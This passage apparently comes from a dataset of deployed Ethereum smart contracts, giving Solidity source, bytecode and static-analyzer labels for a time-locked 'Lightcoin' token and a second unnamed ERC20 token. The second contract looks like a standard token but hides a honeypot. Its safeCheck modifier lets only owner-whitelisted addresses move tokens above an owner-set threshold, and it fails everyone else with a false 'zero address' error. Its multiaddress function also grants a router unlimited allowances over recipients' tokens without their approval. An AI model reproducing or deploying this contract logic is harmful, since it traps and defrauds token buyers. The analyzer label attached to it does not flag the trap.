01806108ca6021913960400191505060405180910390fd5b90505b92915050565b60008082116107fe576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161080757fe5b049392505050565b60008282018381101561079f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe5573657273206861766520616c7265616479207374617274656420636c61696d696e67204574682066726f6d2074686520636f6e7472616374546f74616c20736861726520616c6c6f636174696f6e2067726561746572207468616e20313030536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616e206e6f74207265736574207768656e207573657273207374696c6c206e65656420746f20636c61696d4f6e6c7920746865206f776e65722063616e2072657365742074686520636f6e74726163744f6e6c7920746865206f776e65722063616e2075736520746869732066756e6374696f6ea264697066735822122024a96d49128119cbc161c72c9318ee7ba3847aee0c5ecbb52d1dcdc47cf7aa2b64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
2,771
0xdf2bb5fa44b1a021385c0f2d1f613f340127405a
pragma solidity ^0.4.16; /** * Math operations with safety checks */ contract BaseSafeMath { /* standard uint256 functions */ function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { assert( b > 0 ); uint256 c = a / b; return c; } function min(uint256 x, uint256 y) internal returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions */ function madd(uint128 a, uint128 b) internal returns (uint128) { uint128 c = a + b; assert(c >= a); return c; } function msub(uint128 a, uint128 b) internal returns (uint128) { assert(b <= a); return a - b; } function mmul(uint128 a, uint128 b) internal returns (uint128) { uint128 c = a * b; assert(a == 0 || c / a == b); return c; } function mdiv(uint128 a, uint128 b) internal returns (uint128) { assert( b > 0 ); uint128 c = a / b; return c; } function mmin(uint128 x, uint128 y) internal returns (uint128 z) { return x <= y ? x : y; } function mmax(uint128 x, uint128 y) internal returns (uint128 z) { return x >= y ? x : y; } /* uint64 functions */ function miadd(uint64 a, uint64 b) internal returns (uint64) { uint64 c = a + b; assert(c >= a); return c; } function misub(uint64 a, uint64 b) internal returns (uint64) { assert(b <= a); return a - b; } function mimul(uint64 a, uint64 b) internal returns (uint64) { uint64 c = a * b; assert(a == 0 || c / a == b); return c; } function midiv(uint64 a, uint64 b) internal returns (uint64) { assert( b > 0 ); uint64 c = a / b; return c; } function mimin(uint64 x, uint64 y) internal returns (uint64 z) { return x <= y ? x : y; } function mimax(uint64 x, uint64 y) internal returns (uint64 z) { return x >= y ? x : y; } } // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 contract BaseERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowed; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal; /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success); /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract LightCoinToken is BaseERC20, BaseSafeMath { //The solidity created time address public owner; address public lockOwner; uint256 public lockAmount ; uint256 public startTime ; function LightCoinToken() public { owner = 0x9a64fE62837d8E2C0Bd0C2a96bbDdEA609Ab2F19; lockOwner = 0x821C05372425709a68090A17075A855dd20371c7; startTime = 1515686400; name = "Lightcoin"; symbol = "Light"; decimals = 8; totalSupply = 21000000000000000000; balanceOf[owner] = totalSupply * 90 /100 ; balanceOf[0x47388Cb39BE5E8e3049A1E357B03431F70f8af12]=2000000; lockAmount = totalSupply / 10 ; } /// @param _owner The address from which the balance will be retrieved /// @return The balance function getBalanceOf(address _owner) public constant returns (uint256 balance) { return balanceOf[_owner]; } function _transfer(address _from, address _to, uint256 _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Save this for an assertion in the future uint previousBalances = add(balanceOf[_from], balanceOf[_to]); // Subtract from the sender balanceOf[_from] = sub(balanceOf[_from], _value); // Add the same to the recipient balanceOf[_to] = add(balanceOf[_to], _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(add(balanceOf[_from], balanceOf[_to]) == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function releaseToken() public{ require(now >= startTime + 2 * 365 * 86400 ); uint256 i = ((now - startTime - 2 * 365 * 86400) / (0.5 * 365 * 86400)); uint256 releasevalue = totalSupply /40 ; require(lockAmount > (4 - i - 1) * releasevalue); lockAmount -= releasevalue ; balanceOf[lockOwner] += releasevalue ; } }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf578063313ce567146101f75780635c6581651461022057806369cd61be1461024557806370a082311461027457806378e97925146102935780638da5cb5b146102a657806395d89b41146102b95780639b96eece146102cc578063a9059cbb146102eb578063d8df5dc11461030d578063dd62ed3e14610320578063ec715a3114610345575b600080fd5b34156100f557600080fd5b6100fd61035a565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a03600435166024356103f8565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd610464565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a036004358116906024351660443561046a565b341561020257600080fd5b61020a6104d9565b60405160ff909116815260200160405180910390f35b341561022b57600080fd5b6101bd600160a060020a03600435811690602435166104e2565b341561025057600080fd5b6102586104ff565b604051600160a060020a03909116815260200160405180910390f35b341561027f57600080fd5b6101bd600160a060020a036004351661050e565b341561029e57600080fd5b6101bd610520565b34156102b157600080fd5b610258610526565b34156102c457600080fd5b6100fd610535565b34156102d757600080fd5b6101bd600160a060020a03600435166105a0565b34156102f657600080fd5b610196600160a060020a03600435166024356105bb565b341561031857600080fd5b6101bd6105d1565b341561032b57600080fd5b6101bd600160a060020a03600435811690602435166105d7565b341561035057600080fd5b610358610602565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f05780601f106103c5576101008083540402835291602001916103f0565b820191906000526020600020905b8154815290600101906020018083116103d357829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035481565b600160a060020a0380841660009081526005602090815260408083203390941683529290529081205461049d908361068d565b600160a060020a03808616600090815260056020908152604080832033909416835292905220556104cf84848461069f565b5060019392505050565b60025460ff1681565b600560209081526000928352604080842090915290825290205481565b600754600160a060020a031681565b60046020526000908152604090205481565b60095481565b600654600160a060020a031681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f05780601f106103c5576101008083540402835291602001916103f0565b600160a060020a031660009081526004602052604090205490565b60006105c833848461069f565b50600192915050565b60085481565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b6000806009546303c2670001421015151561061c57600080fd5b62f099c06303c2670060095442030381151561063457fe5b049150602860035481151561064557fe5b04905080600183600403030260085411151561066057600080fd5b600880548290039055600754600160a060020a031660009081526004602052604090208054909101905550565b60008282111561069957fe5b50900390565b6000600160a060020a03831615156106b657600080fd5b600160a060020a038085166000908152600460205260408082205492861682529020546106e391906107c0565b600160a060020a038516600090815260046020526040902054909150610709908361068d565b600160a060020a03808616600090815260046020526040808220939093559085168152205461073890836107c0565b600160a060020a038085166000818152600460205260408082208590559288168152918220549152829161076c91906107c0565b1461077357fe5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350505050565b6000828201838110156107cf57fe5b93925050505600a165627a7a723058208900e4d7af3be2c610d74193dbe7128545e5f1da543b867590979e33dd1c5a2e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,772
0xeb570e015ddfea3c3ed04b5d67b680b55bde589e
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_DELTA(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20